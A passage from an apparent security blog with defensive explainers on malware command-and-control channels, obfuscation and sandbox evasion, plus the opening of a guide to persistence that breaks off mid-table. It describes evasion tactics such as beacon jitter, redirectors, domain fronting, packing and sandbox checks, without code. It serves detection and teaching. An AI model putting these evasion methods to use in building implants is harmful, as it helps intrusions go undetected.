invest detection effort. A defender who reliably finds callbacks catches intrusions in the window between the first foothold and the damage. ## Why implants call out instead of listening The instinctive picture of remote control is the attacker connecting inward to the victim. In practice it is the reverse. Corporate firewalls block most unsolicited inbound connections, but they allow machines to make outbound connections all day, because that is how the internet works for users. So the implant initiates. It reaches out from inside the network to the controller, and the controller answers on that already-open connection. The firewall sees a workstation browsing the web, which is unremarkable. This outbound-first design is the foundation of nearly all modern C2, and it is why egress, the traffic leaving your network, is where the action is. ## Beaconing and its rhythm The most common pattern is the beacon. On a set interval the implant calls home, asks whether there is any work, executes whatever it receives, and returns the result. Then it sleeps until the next callback. That schedule is the beacon's defining trait and its weakness. Automated callbacks produce a regularity no human browsing generates: connections to the same destination at steady intervals, often with small, similar request sizes. To fight this, operators add **jitter**, randomizing the interval by a percentage so the rhythm looks less mechanical. They also lengthen the sleep, so an implant might beacon once an hour rather than once a minute, trading responsiveness for stealth. Even with jitter, beaconing leaves a statistical footprint. Over hours or days, the regularity reasserts itself in aggregate, which is the basis for most C2 detection. Not all C2 beacons on a fixed schedule. Some operators prefer **interactive** sessions, where the implant holds a connection open for real-time control, and others use **triggered** callbacks that fire only on an event, like a user logging in. Interactive C2 is faster for the attacker but noisier, since a long-lived connection to an odd destination stands out. Triggered C2 is stealthier but slower. Most real operations blend modes: a low, slow beacon to stay resident, switched to interactive control only during the short windows when the operator is actively working the intrusion. ## The channels attackers use A channel is the protocol the beacon rides on. The choice is driven by one goal: blend into traffic the network already permits. The behaviour maps to [Application Layer Protocol (T1071)](https://attack.mitre.org/techniques/T1071/) and its sub-techniques. | Channel | Why attackers pick it | Detection angle | ATT&CK | |---|---|---|---| | HTTPS / web | Ubiquitous, encrypted, rarely blocked | Beacon timing, TLS fingerprints, odd user agents and destinations | T1071.001 | | DNS | Almost always allowed outbound, easy to overlook | High query volume, long or random subdomains, rare record types | T1071.004 | | Web services / social media | Traffic to trusted domains looks benign | Automation patterns to services the host does not normally use | T1102 | | Custom or non-standard ports | Simple to stand up | Protocol on the wrong port, unusual raw connections | T1095 | **HTTPS** is the default for most frameworks. The payload hides inside encrypted web requests, and to inspection it looks like browsing. **DNS** is a favourite fallback because even locked-down networks usually let DNS resolve, so data can be smuggled inside queries and responses, a technique explored in more depth in DNS tunneling. **Web-service C2** takes it further by using a legitimate platform as the dead drop: the implant reads commands from an account or page on a trusted site, so the traffic goes to a domain no firewall would block. ## Redirectors and hiding the real server Operators rarely point implants straight at their controller. That would expose the server and make takedown easy. Instead they place **redirectors** in front: lightweight relays that forward beacon traffic to the hidden backend. The victim only ever talks to the redirector, so defenders who block or seize it still do not see the real infrastructure. **Domain fronting** and its successors push this further, routing traffic through large shared platforms so the visible destination is a reputable domain while the true endpoint is hidden. The result is C2 that appears to be talking to trusted infrastructure. This is also why our Threat Groups directory tracks the infrastructure and tooling different actors favour, because the shape of the C2 is often one of the more durable fingerprints a group leaves. Redirectors also let an operator rotate infrastructure cheaply. If defenders identify and block one relay, the operator stands up another and repoints it at the same hidden backend, and the implants keep working through whichever relay is live. This is why blocking a single indicator, one domain or one address, rarely ends an intrusion. The controller behind it is untouched, and the campaign simply moves. Durable defense has to target the behaviour of the beacon itself rather than the specific address it happens to be calling this week. Wrapping C2 in TLS conceals the contents of each request but not the metadata around it. The destination, the timing, the frequency, and the size of connections are all still visible. Beacon detection leans on exactly that metadata, which is why encrypted channels remain findable without ever decrypting a single payload. ## How C2 techniques evolved The arc of C2 is a long game of blending in. Early remote-access tools often listened for inbound connections or used custom protocols on odd ports, which made them easy to block once defenders knew the port. As perimeter firewalls became universal and default-denied inbound traffic, operators flipped the model to outbound-first beaconing, riding the connections that firewalls have to allow for users to work. The next move was into the protocols that are always permitted. HTTP and then HTTPS became the default carrier because web traffic is ubiquitous and, once encrypted, its contents are opaque to inspection. Operators added redirectors to protect their real infrastructure and reached for shared platforms so the visible destination looked reputable. When defenders learned to inspect web egress, DNS became the reliable fallback, since it resolves out of nearly every network and is frequently unwatched. More recently, using legitimate web services as dead drops pushed the trend to its logical end: the implant talks only to domains no firewall would dream of blocking. Detection evolved in step. Signature matching on payloads gave way to metadata analysis, because encryption removed the payload from view but left the timing, volume, and destination exposed. The durable insight, and the reason this stage rewards defensive investment, is that a channel has to cross the boundary and repeat over time no matter how it is dressed, and repetition across a boundary is measurable. ## The stages of a C2 session A C2 channel is not a single event. It runs through a sequence, and knowing the sequence tells a defender which artifacts to expect at each point. **Staging and initial check-in.** The first payload to land is often a small loader whose only job is to fetch and run the real implant, either from the controller or from a public host chosen to look benign. The moment the implant first calls home is the initial check-in, and it usually carries a compact fingerprint of the victim: hostname, user, operating system, and privilege level. That first callback is a high-value detection point, because it happens before any damage and it establishes the destination the implant will keep returning to. **Tasking.** With the foothold confirmed, the operator queues work. On each beacon the implant asks for tasking, receives zero or more commands, executes them, and returns the output on the next callback. Tasking is where the operation becomes interactive: enumerate the network, dump credentials, upload a tool, run it. The request-and-response rhythm of tasking is what produces the steady callback pattern that timing analysis keys on. **Result return and exfiltration.** Command output and stolen data flow back over the same channel or a separate one the operator designates. Exfiltration is often deliberately throttled and spread over time so it never spikes into a volume alarm. A defender watching only for large outbound transfers misses data that leaves in a slow trickle disguised as ordinary requests. **Channel failover.** Robust implants carry more than one way home. If the primary HTTPS channel is blocked, the implant falls back to DNS or to a web-service dead drop. This is why blocking one destination rarely ends an intrusion: the implant simply switches to a channel the defender did not close. ## A worked example: reading a beacon in the logs Imagine a workstation that, once an hour, makes an HTTPS request to the same host, and each request and response is roughly the same small size. On any single day it looks like an application checking for updates. Pull a week of connection logs and the pattern sharpens: the callbacks are too regular, they persist overnight when the user is away, and the destination is a domain no other host in the environment contacts and that was registered only weeks ago. Now layer the endpoint. The process making those requests is not a browser and not a known updater. It is a signed system utility that has no business making periodic web requests to an unknown domain, or an unfamiliar process running from a user-writable directory. Neither the network pattern nor the process on its own is proof. Together they describe a beacon: automated timing, an anomalous destination, and a process with no legitimate reason to be talking to it. That correlation, weak signals from two vantage points lining up on the same host and the same minutes, is the core of practical C2 detection, and it is why mature teams join network and endpoint telemetry rather than watching either alone. Adding jitter randomises the gap between callbacks so no two intervals match exactly, which defeats a naive rule that looks for a fixed period. Over enough samples the central tendency still shows: the average interval, the narrow spread of request sizes, and the persistence across idle hours all survive jitter. Timing analysis that works on distributions rather than exact periods sees through it. ## How to detect and defend C2 detection is a network-and-endpoint problem, and the payload is usually the least useful thing to chase. Focus on where traffic goes and how it behaves. 1. **Control egress.** Force outbound web traffic through a proxy, restrict which hosts can talk directly to the internet, and default-deny unusual ports. Every path you close removes a channel option. 2. **Inspect DNS.** Log and analyze DNS at the resolver. Watch for a single host making a high volume of queries, long or high-entropy subdomains, and unusual record types. DNS is the channel defenders most often forget to watch. 3. **Hunt for beacon timing.** Analyze connection logs for regular, repeated callbacks to the same destination, accounting for jitter. Tools and queries that measure inter-arrival regularity surface beacons that individually look harmless. 4. **Fingerprint the client.** TLS fingerprints and user-agent strings that do not match the browsers actually installed on a host point at a non-browser process making web requests. 5. **Reputation and novelty.** Newly registered domains, destinations no other host contacts, and connections to services a user has never used before are all worth flagging. 6. **Correlate with the endpoint.** Tie suspicious network patterns back to the process making them. A signed system utility or an unexpected process beaconing out is a strong lead, and it connects network detection to the host-level story. Legitimate software beacons too: update checks, telemetry, and cloud sync all phone home on schedules. Build a baseline of the regular outbound talkers on your network so real C2 stands out against them, rather than drowning in benign automation. The anomaly you want is a new or unexplained beacon, not every scheduled callback. ## C2 channels compared Each channel trades stealth against reliability and bandwidth. The comparison explains why operators carry several and switch between them. | Channel | Bandwidth | Stealth | Main weakness for a defender to exploit | |---|---|---|---| | HTTPS / web | High | Blends into browsing | Non-browser client fingerprint, beacon timing, novel destination | | DNS | Low | Rarely inspected | High query volume, long or high-entropy subdomains, odd record types | | Web service / social dead drop | Low to moderate | Traffic goes to trusted domains | Automation to a service the host never normally uses | | Non-standard ports / raw | Variable | Simple to stand up | Protocol on an unexpected port, connections nothing else makes | | Interactive over a common port | High | Fast for the operator | Long-lived connection to an odd destination stands out | The pattern across the table is that stealthy channels tend to be low-bandwidth and slow, and fast channels tend to stand out. Operators resolve the tension by staying resident on a quiet low-and-slow beacon and switching to a faster interactive channel only during the short windows when they are actively working the intrusion. A defender who understands that split knows to watch both for the persistent quiet beacon and for the brief bursts of interactive traffic. ## Common misconceptions **"If the traffic is encrypted, we cannot detect the C2."** Encryption hides the contents of each request and hides nothing about the metadata around it. The destination, the timing, the frequency, and the size of connections are all still visible, and beacon detection runs entirely on that metadata. You never need to decrypt a payload to catch the rhythm. **"Blocking the malicious domain ends the intrusion."** Operators front their real controller with disposable redirectors and give implants multiple channels. Block one domain and the campaign repoints to another relay or fails over to DNS. Durable defence targets the behaviour of the beacon rather than the specific address it happens to use this week. **"Only exotic malware uses C2."** Almost every hands-on intrusion needs a channel home, from commodity botnets to espionage operations. C2 is a near-universal stage, which is exactly why investing detection effort there pays off across the whole threat spectrum. **"A firewall that blocks inbound connections stops C2."** Modern C2 is outbound-first precisely to sidestep inbound filtering. The implant initiates the connection from inside, and the firewall sees an ordinary outbound request. Egress control and inspection, not inbound blocking, are where the leverage is. ## Frequently asked questions **What is the difference between a beacon and a bot?** A beacon is the callback behaviour: an implant that reaches out on a schedule to ask for tasking. A bot is a compromised machine enrolled in a larger network under one operator. A bot typically uses beaconing to receive commands, so the terms overlap, but a beacon describes the communication pattern and a bot describes the compromised host and its role. **Why is DNS such a popular C2 channel?** DNS resolution is allowed out of almost every network, even locked-down ones, because normal operation depends on it, and many organisations never inspect it. That combination of near-universal egress and low scrutiny makes it an attractive fallback. Data can be smuggled inside query names and responses, which is slow but very hard to block wholesale without breaking legitimate resolution. **Can I just block all outbound traffic to stop C2?** Not wholesale, because users and services need outbound access to function. The practical version is egress control: force web traffic through an inspecting proxy, restrict which hosts can talk directly to the internet, default-deny unusual ports, and inspect DNS. Every path you close removes a channel option and pushes operators toward noisier alternatives. **What is a redirector and why does it matter?** A redirector is a lightweight relay placed in front of the real controller. Implants only ever talk to the redirector, which forwards their traffic to the hidden backend. It protects the operator's infrastructure from takedown and lets them rotate relays cheaply. For a defender it means the destination an implant contacts is usually disposable, so blocking it is a temporary win. **How is jitter different from the sleep interval?** The sleep interval is the base time an implant waits between callbacks. Jitter is a randomised percentage added to or subtracted from that interval so the gaps are not identical each time. A longer sleep trades responsiveness for stealth, and jitter breaks up the perfectly mechanical rhythm that a naive detector would flag. Neither hides the underlying trend across many samples. **Does beacon detection produce a lot of false positives?** It can, because legitimate software also beacons: update checkers, telemetry, and cloud sync all phone home on schedules. The way to keep it useful is to baseline the normal outbound talkers in your environment so that real C2 stands out against them. The anomaly you want is a new or unexplained beacon tied to a suspicious process, rather than every scheduled callback. **What is domain fronting and does it still work?** Domain fronting routes C2 through a large shared platform so the visible connection appears to go to a reputable domain while the true endpoint is hidden behind it. It made C2 look like traffic to trusted infrastructure, which is very hard to block without collateral damage. Several major platforms have restricted the underlying behaviour, so its reliability has declined, but the broader idea of hiding behind trusted shared services persists in other forms. **Where in an intrusion does C2 sit?** It sits between the attacker gaining execution and achieving their final goal. On the MITRE ATT&CK matrix it is a whole tactic of its own. Cut the channel and the implant goes deaf: it cannot receive new tasking, cannot be told to spread, and cannot ship data out. That position, downstream of the first foothold and upstream of the damage, is what makes it such a rewarding place to catch an intrusion early. Command and control is the hinge of an intrusion, the point where a dormant infection becomes an operator with hands on the keyboard. Because it has to cross your network boundary and repeat over time, it is also one of the most detectable stages, if you watch the metadata instead of the payload. Own your egress, watch your DNS, and learn the rhythm of your own traffic. ## Related guides - [DNS Tunneling Explained](/dns-tunneling-explained) - [What Is a Botnet](/what-is-a-botnet) - [What Is Cobalt Strike](/what-is-cobalt-strike) - [Threat Hunting Guide](/threat-hunting-guide) ### Sources - MITRE ATT&CK: Application Layer Protocol (T1071) (MITRE): https://attack.mitre.org/techniques/T1071/ - MITRE ATT&CK: Command and Control (TA0011) (MITRE): https://attack.mitre.org/tactics/TA0011/ - CISA: Understanding Command and Control Infrastructure (CISA): https://www.cisa.gov/ --- ## Malware Obfuscation: Packing, Encoding & Evasion > How malware hides from analysis with packing, encoding and encryption, and the behavioural and unpacking methods defenders use to see through it. - URL: https://blog.pwnsy.com/malware-obfuscation-techniques - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: obfuscation, packing, malware-analysis, sandbox-evasion, detection-engineering - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Obfuscation is everything malware does to hide its code and intent from scanners, analysts, and sandboxes while still running correctly on the victim. - The main families are packing, encoding, encryption, and anti-analysis logic that changes behaviour when it senses it is being watched. - Obfuscation defeats static signatures by design, which is why the packed sample on disk often looks nothing like the code that actually runs. - Defenders answer with behavioural detection, memory analysis after unpacking, and sandboxes that watch what the sample does rather than what it looks like. ### Key Takeaways - Packing compresses or encrypts the real payload and reveals it only in memory at runtime, so the on-disk file is a shell. - Encoding and string obfuscation hide the tell-tale artifacts, such as URLs and commands, that signatures and analysts look for. - Anti-analysis logic checks for sandboxes, debuggers, and virtual machines, then stalls or behaves benignly to avoid revealing itself. - Because the payload must eventually run, memory forensics and behavioural monitoring see through obfuscation that beats static scanning. - Obfuscation maps to MITRE ATT&CK Obfuscated Files or Information (T1027) and Virtualization/Sandbox Evasion (T1497). The malware sample sitting on a disk is often a disguise. Its strings are scrambled, its real code is compressed behind a wrapper, and the moment you load it into a sandbox it checks whether it is being watched and goes quiet. This is obfuscation, the collection of tricks malware uses to hide what it is and what it does long enough to run. For a defender it is the reason a file can pass every static check and still be hostile. Obfuscation is an arms race with one hard constraint working in the defender's favour. However well the code is hidden, it has to run correctly on the victim eventually, which means it has to reveal itself at some point. Everything defenders do to see through obfuscation exploits that single fact. ## What obfuscation is trying to defeat Obfuscation targets three audiences, and understanding which one is why each technique looks the way it does: - **Static signatures.** Antivirus and rule-based tools match patterns of bytes and strings. Obfuscation changes those patterns so nothing matches. - **Human analysts.** Reverse engineers read code, strings, and structure. Obfuscation makes that reading slow, tedious, and misleading. - **Automated sandboxes.** Detonation environments run the sample and watch it. Anti-analysis logic tries to detect the sandbox and behave innocently while inside it. A serious sample layers techniques against all three at once. The result is a file that is unrecognisable on disk, exhausting to analyse by hand, and boring to a sandbox. ## The main families | Technique | What it does | What it defeats | ATT&CK | |---|---|---|---| | Packing | Compresses or encrypts the payload, unpacks in memory at runtime | Static signatures on the real code | T1027.002 | | Encoding | Represents data as base64, hex, or custom schemes | String and pattern matching | T1027 | | Encryption | Keeps strings, config, or the payload encrypted until needed | Both signatures and analyst reading | T1027 | | String obfuscation | Builds or decrypts strings only at runtime | Analysts hunting for URLs and commands | T1027 | | Anti-debugging | Detects and resists debuggers | Manual reverse engineering | T1622 | | Sandbox evasion | Detects analysis environments, then stalls or hides | Automated detonation | T1497 | These overlap constantly. A packed sample often encrypts its payload, encodes its configuration, and adds sandbox checks in the unpacking stub. Peeling one layer usually reveals another. ## Packing, the core technique Packing is the technique most people mean by obfuscation. A packer takes the real malware, compresses or encrypts it into a data blob, and wraps it in a small stub. On disk, the file is mostly that opaque blob plus the stub. When it runs, the stub unpacks the real payload into memory and jumps to it. The consequence for detection is direct. A static scan sees the stub and the blob, neither of which matches a signature for the actual malware, because the actual malware only exists once it is unpacked in memory. Legitimate software uses packers too, for compression and licensing, which means the mere presence of packing is suspicious but not conclusive. The saving grace is that unpacking has to happen. The genuine code appears in memory at runtime, so a defender who can look at process memory after the stub has run sees the payload the disk file was hiding. ## Encoding, encryption, and hidden strings Below packing sits a layer aimed at the artifacts that give malware away. The strings inside a program, its command-and-control addresses, the commands it runs, the names it looks for, are gold to both signatures and analysts. Obfuscation hides them. Encoding rewrites these as base64, hexadecimal, or a custom alphabet so a plain-text search finds nothing. Encryption goes further and keeps them unreadable until a key, sometimes fetched at runtime, decrypts them. String obfuscation constructs sensitive strings piece by piece at execution time so they never sit whole in the file. A domain name might be assembled character by character, a command might be built from scattered fragments, and a key might be derived from values computed at runtime, so that a plain search of the binary turns up nothing usable and an analyst has to trace the construction to recover the original. The payload file that eventually lands is frequently one of the abused formats catalogued in our File-Format Abuse Atlas, and knowing which format you are dealing with tells you where the hidden strings and encoded stages tend to live. All of this maps to [Obfuscated Files or Information (T1027)](https://attack.mitre.org/techniques/T1027/). The common thread is delay: keep the meaningful data unreadable until the last possible moment. ## Anti-analysis and sandbox evasion The most frustrating layer for defenders is the code that changes behaviour when it senses scrutiny. Before doing anything malicious, the sample checks its surroundings: - **Sandbox and virtual-machine checks** look for the artifacts of analysis environments, such as specific drivers, tiny disks, or the absence of normal user activity. - **Debugger detection** notices when a debugger is attached and alters execution to mislead the analyst. - **Timing and stalling** waits out the limited window a sandbox will run a sample, or requires user interaction such as a scroll or a click before proceeding. - **Environment gating** only decrypts and runs the payload if it confirms a real target, sometimes by phoning home first. If any check says it is being watched, the sample stays benign, so the sandbox records nothing malicious and clears the file. This maps to [Virtualization/Sandbox Evasion (T1497)](https://attack.mitre.org/techniques/T1497/). Evasive malware is built to look harmless inside analysis environments. A sample that did nothing in a sandbox may simply have detected the sandbox and declined to run. Treat a benign detonation as inconclusive for anything sophisticated, and corroborate with behaviour on the real endpoint, memory analysis, and threat intelligence before you trust it. ## How obfuscation evolved The techniques did not all appear at once. They accumulated as each side answered the other. The earliest hiding was simple encoding and self-modifying code, meant to dodge the first string-and-byte scanners. Once scanners learned the common encodings, authors moved to packing, wrapping the real payload in a compressed or encrypted blob so the meaningful bytes never sat on disk in a matchable form. Packing became so common that the mere presence of it stopped being a reliable verdict, since legitimate software packs for compression and licensing too. When defenders started detonating samples in sandboxes, authors added anti-analysis logic: checks for the artifacts of virtual machines, debuggers, and automated environments, with the payload staying dormant if any check tripped. That pushed defenders toward sandboxes that resist detection and toward memory analysis, which sidesteps disk obfuscation entirely by waiting for the payload to unpack. The arms race continues, and the shape of it is stable. Authors add layers to delay understanding. Defenders shift from reading the file to watching it run, because the one constraint the author cannot remove is that the real code must eventually execute. Every durable defensive technique is built on that single fact. ## A worked unpacking walkthrough Following a packed sample through analysis makes the constraint concrete. The steps below describe the general pattern for a straightforward packed binary, without any specific tool or sample named. 1. **First look on disk.** A static scan finds little. The file has high entropy across most of its length, a small import table, and few readable strings. High entropy means the bytes look random, which is what compression and encryption produce. This profile says packed, and it says nothing about what the payload does. 2. **Identify the stub.** At the entry point sits a small routine, the unpacking stub, distinct from the opaque blob that makes up the rest of the file. The stub's job is to reconstruct the real code in memory and transfer control to it. 3. **Let it unpack under control.** Rather than reverse the stub by hand, the analyst runs the sample in an instrumented, contained environment and lets the stub do its work. At the moment control transfers to the freshly written region, the real payload exists in memory in the clear. 4. **Capture memory.** Dumping the process memory at that point recovers the unpacked payload. Now the strings, the configuration, and the command-and-control addresses that were hidden on disk are readable, and rules can match the real code. 5. **Peel the next layer.** Frequently the recovered payload has its own encoding: encrypted configuration, strings built at runtime, or a second stage fetched from the network. Each layer comes off the same way, by letting the code reach the point where it needs the data readable and observing it there. The lesson repeats at every layer. Obfuscation buys delay, and running the code in a place you control spends that delay cheaply, because the author had to make the data usable to the malware, which means usable to anyone watching the malware. High entropy is one of the clearest signs of packing or encryption, since compressed and encrypted data looks close to random. It is a hint rather than a verdict. Compressed installers, protected commercial software, and packed benign tools also show high entropy. Weigh it with origin, behaviour, and the presence of a known packer stub before you act on it. ## Obfuscation compared to related techniques Obfuscation is often confused with the techniques next to it. Separating them clarifies what each actually changes. | Technique | What changes | What stays the same | Aimed at | |---|---|---|---| | Obfuscation | The appearance of the code and data | The underlying logic, which runs unchanged | Scanners, analysts, sandboxes | | Polymorphism | The packer or encryption wrapper on each copy | The decrypted payload underneath | Signature matching across samples | | Metamorphism | The actual instructions, rewritten each generation | The net behaviour | Both signatures and structural analysis | | Crypters | An encryption layer applied to an existing binary | The wrapped malware itself | Static antivirus at delivery time | Polymorphism and metamorphism are ways of making obfuscation change between copies, so that two samples of the same malware share no static signature. Our [polymorphic malware guide](/what-is-polymorphic-malware) covers that moving-target property in detail. A crypter is a productised obfuscation layer sold to wrap someone else's binary. The common thread across all of them is delay and disguise, and the common weakness is that behaviour and unpacked memory give the game away. ## Detection signals: recognising a hidden sample Even before you run a file, its structure carries tells that it is trying to hide. None is conclusive alone, and together they build a strong case for deeper analysis. - **High, uniform entropy.** Most of the file measures close to random, the signature of compression or encryption sitting where normal code and data should be. - **A tiny import table.** Packed samples resolve the functions they need at runtime, so the on-disk import list is short and generic, missing the calls the malware's real behaviour would require. - **Few or no readable strings.** URLs, file paths, registry keys, and commands are absent or scrambled, because they are built or decrypted only at execution time. - **A known packer stub.** Recognisable entry-point routines and section names tie the file to a specific packer, common or custom, and a custom stub is more suspicious than a mainstream one. - **Sections that are writable and executable.** Memory regions marked to be both written and run point to code that plans to unpack itself into place and then execute it. - **Mismatched section sizes.** A section that is small on disk but declares a large size in memory is space reserved for an unpacked payload. - **Anti-analysis imports.** Calls associated with checking for debuggers, measuring timing, or querying the environment suggest the sample intends to behave differently when watched. On the runtime side, the behavioural tells are the ones obfuscation cannot erase: a process that allocates executable memory, writes to it, and jumps into it is unpacking; a sample that stalls for a long time before doing anything is likely waiting out a sandbox; a benign-looking file that spawns a script host and beacons out has revealed intent no disguise can cover. The practical stance is to treat these signals as a funnel. Structural tells decide which files earn detonation, runtime behaviour decides which earn a memory capture, and the unpacked payload is where durable rules finally get written. ## How to detect and defend The winning move is to stop competing with obfuscation on its own terms. Static matching loses that race. Behaviour and memory win it, because the payload must eventually be real. 1. **Detect behaviour, not appearance.** Watch what a process does after it runs: the child processes it spawns, the files it touches, the connections it makes, the persistence it creates. Obfuscation hides the code, and it does not hide the actions, which happen in the clear on the endpoint. 2. **Analyse memory after unpacking.** Once the stub has run, the real payload is in memory. Memory scanning and process dumping recover it, and rules can then match the unpacked code that the packed file concealed. 3. **Use evasion-resistant sandboxes.** Prefer detonation environments that resist common checks, simulate user activity, and extend runtime to defeat stalling. Combine sandbox output with endpoint telemetry rather than trusting it alone. 4. **Flag packing as a signal, not a verdict.** High entropy, known packer stubs, and tiny import tables indicate packing. Weigh it alongside origin and behaviour instead of blocking on it outright, since legitimate software packs too. 5. **Write rules for unpacked artifacts.** Signatures on packed files are brittle. Rules that match strings, configuration, and structure in the unpacked, in-memory form are far more durable across repacked variants. 6. **Correlate weak signals.** No single indicator survives obfuscation, so combine them: a packed file from a suspicious source that spawns a script host and beacons out is convincing even when each fact alone is not. 7. **Assume the payload is more capable than the sample looked.** When obfuscation is heavy, treat the file as a serious threat by default and respond accordingly, rather than downgrading it because static tools found little. The most reliable way to defeat obfuscation is to let the malware unpack itself somewhere instrumented and contained, then inspect memory and behaviour. The one thing the author cannot obfuscate away is the need to execute the real code, so give it a place to do that where you are watching everything and it can do no harm. Obfuscation is a delaying tactic dressed up as invisibility. It can beat any check that reads the file without running it, and it cannot beat the requirement to eventually run. Shift your detection from what a sample looks like to what it does, recover the payload from memory once it reveals itself, and the disguise stops mattering. The code has to be real in the end, and that is where you catch it. ## Common misconceptions **"Packed means malicious."** Packing is common in legitimate software for compression and licensing protection. It raises suspicion and warrants a closer look, and on its own it is not a verdict. Blocking every packed file breaks benign tools and trains people to ignore the alert. **"A clean sandbox result means the file is safe."** Evasive samples detect analysis environments and stay dormant inside them. A benign detonation may mean the sample declined to run, so a clean result is inconclusive for anything sophisticated and should be corroborated with endpoint behaviour and memory analysis. **"Obfuscation makes malware more capable."** It changes appearance and buys time. The payload underneath does exactly what it would have done unobfuscated. Heavy obfuscation signals an author trying to avoid detection, and it says nothing about added functionality. **"If antivirus is quiet, there is nothing there."** Static antivirus is precisely what obfuscation is built to defeat. Silence from signature-based tools against a heavily obfuscated file is expected, and it is a reason to escalate to behavioural and memory analysis rather than a reason to relax. **"Unpacking requires reversing the stub by hand."** Much of the time the cheapest route is to let the sample unpack itself in an instrumented, contained environment and capture memory at the moment the payload appears. The author's own code does the decryption for you. ## Frequently asked questions **What is the difference between packing and encryption in malware?** Packing compresses or encrypts the whole payload into a blob that a stub reconstructs in memory at runtime, so the on-disk file is mostly an opaque wrapper. Encryption in the narrower sense keeps specific artifacts, such as strings, configuration, or a later stage, unreadable until a key decrypts them at the moment they are needed. Packing hides the entire payload; targeted encryption hides the parts most useful to signatures and analysts. Many samples use both. **Why does obfuscation defeat antivirus?** Signature-based antivirus matches known patterns of bytes and strings. Obfuscation changes those patterns by design, so nothing matches. Packing goes further and keeps the real code off the disk entirely until runtime, which means there is no stable pattern to sign in the first place. This is why static matching loses the race and why behavioural and memory-based detection are the durable answers. **Can obfuscation be defeated completely?** Not on disk, and it does not need to be. The payload has to run correctly on the victim eventually, which means the real code appears in memory and the real behaviour happens on the endpoint. Watching execution and recovering the unpacked payload from memory sidesteps the disguise, because the one thing the author cannot obfuscate away is the need to execute. **Is a high-entropy file always malware?** No. High entropy indicates compression or encryption, which packed malware shows, and so do legitimate compressed installers and protected commercial software. Entropy is a useful hint that a file is packed or encrypted, and it should be weighed with the file's origin, its behaviour, and the presence of a known packer stub before any action. **How do sandboxes handle evasive malware?** Better sandboxes resist common detection checks, simulate user activity such as scrolling and clicking, and extend runtime to defeat stalling. Even then, a sandbox verdict is combined with endpoint telemetry rather than trusted alone, because sophisticated samples are built specifically to look harmless inside analysis environments. **Which ATT&CK techniques cover obfuscation?** The core mapping is [Obfuscated Files or Information (T1027)](https://attack.mitre.org/techniques/T1027/), which covers packing, encoding, encryption, and string obfuscation. Anti-analysis behaviour maps to [Virtualization/Sandbox Evasion (T1497)](https://attack.mitre.org/techniques/T1497/), and debugger resistance is tracked separately. These identifiers give a stable vocabulary for describing what a sample is doing to hide. **Does obfuscation help attribution or hurt it?** It cuts both ways. Obfuscation is meant to frustrate analysis, and the specific packer, encoding scheme, or evasion checks a sample uses can themselves become a fingerprint. Reused custom obfuscation is sometimes as identifying as the payload it hides, which is why analysts record the disguise as well as the code underneath. **Why write detection rules against unpacked memory instead of the file on disk?** Rules that match the packed file are brittle, because repacking the same malware with a different wrapper produces an entirely different on-disk pattern while the underlying code is unchanged. Rules written against the unpacked, in-memory form match the real payload, so they survive across repacked variants and across the polymorphic wrappers designed specifically to break disk signatures. Memory is where the malware finally stops lying about itself. ## Related guides - [What Is Polymorphic Malware](/what-is-polymorphic-malware) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [Malware Sandbox Evasion](/malware-sandbox-evasion) - [YARA Rules Explained](/yara-rules-explained) ### Sources - MITRE ATT&CK: Obfuscated Files or Information (T1027) (MITRE): https://attack.mitre.org/techniques/T1027/ - MITRE ATT&CK: Virtualization/Sandbox Evasion (T1497) (MITRE): https://attack.mitre.org/techniques/T1497/ - NIST SP 800-83: Guide to Malware Incident Prevention and Handling (NIST): https://csrc.nist.gov/pubs/sp/800/83/r1/final --- ## Malware Persistence Techniques: How Malware Survives Reboot > How malware survives a reboot using autostart, services, scheduled tasks, and registry keys, plus the process-chain and event-log signals that hunt each one. - URL: https://blog.pwnsy.com/malware-persistence-techniques - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: persistence, malware, threat-hunting, detection-engineering, blue-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Persistence is how malware keeps running after a reboot or logoff, by hooking into something the system automatically executes at startup or on a trigger. - The common mechanisms are registry run keys, startup folders, scheduled tasks, Windows services, and abuse of legitimate autostart features. - None of these are exotic; they use the same startup machinery admins use daily, which is why they hide in plain sight. - Hunting persistence means baselining what should autostart and alerting on what newly appears, especially when it points at odd paths or was created by an unusual process. ### Key Takeaways - Persistence is a distinct attack phase, and finding it is often how a dormant compromise gets discovered long after the initial break-in. - Registry run keys, scheduled tasks, and services are the workhorses because they are reliable, well-documented, and blend into normal administration. - The strongest hunting signal is not the mechanism itself but what created it, where it points, and whether it is new against a known-good baseline. - Windows event logs record service installs, scheduled-task creation, and autostart changes; enabling and centralising them is prerequisite to hunting. - Persistence maps to MITRE ATT&CK Boot or Logon Autostart Execution (T1547), Scheduled Task (T1053), and Create or Modify System Process (T1543). Getting onto a machine is only useful if you stay on it. A reboot, a logoff, or a crashed process would otherwise end the intrusion, so almost every piece of malware that intends to last plants a way to relaunch itself. That mechanism is persistence, and it is one of the most productive things a defender can hunt for, because it is where a quiet compromise leaves a durable mark. Persistence rarely uses anything exotic. It hooks into the ordinary startup machinery that Windows uses to launch your applications, run your scheduled maintenance, and start your services. The malware is hiding among the legitimate autostart entries, which is exactly why baselining what should be there is the whole game. ## What persistence is, and why it matters Persistence is any technique that ensures malicious code runs again after the event that would normally stop it: a reboot, a user logging off and back on, or the process simply exiting. The attacker registers their payload with something the system executes automatically, whether at boot, at logon, on a schedule, or when a trigger fires. For defenders, persistence is valuable precisely because it is durable. The initial delivery is a fleeting event that may be long gone from logs. The persistence entry, though, usually sits on the machine until someone removes it. Finding it is often how a compromise that began weeks earlier finally surfaces. ## The common mechanisms Most persistence on Windows falls into a handful of families. Each is a legitimate feature being used for an illegitimate purpose. | Mechanism | Legitimate purpose | How malware abuses it | ATT&CK | |---|---|---|---| | Registry run keys | Launch apps at logon | Add a value pointing at the payload | T1547.001 | | 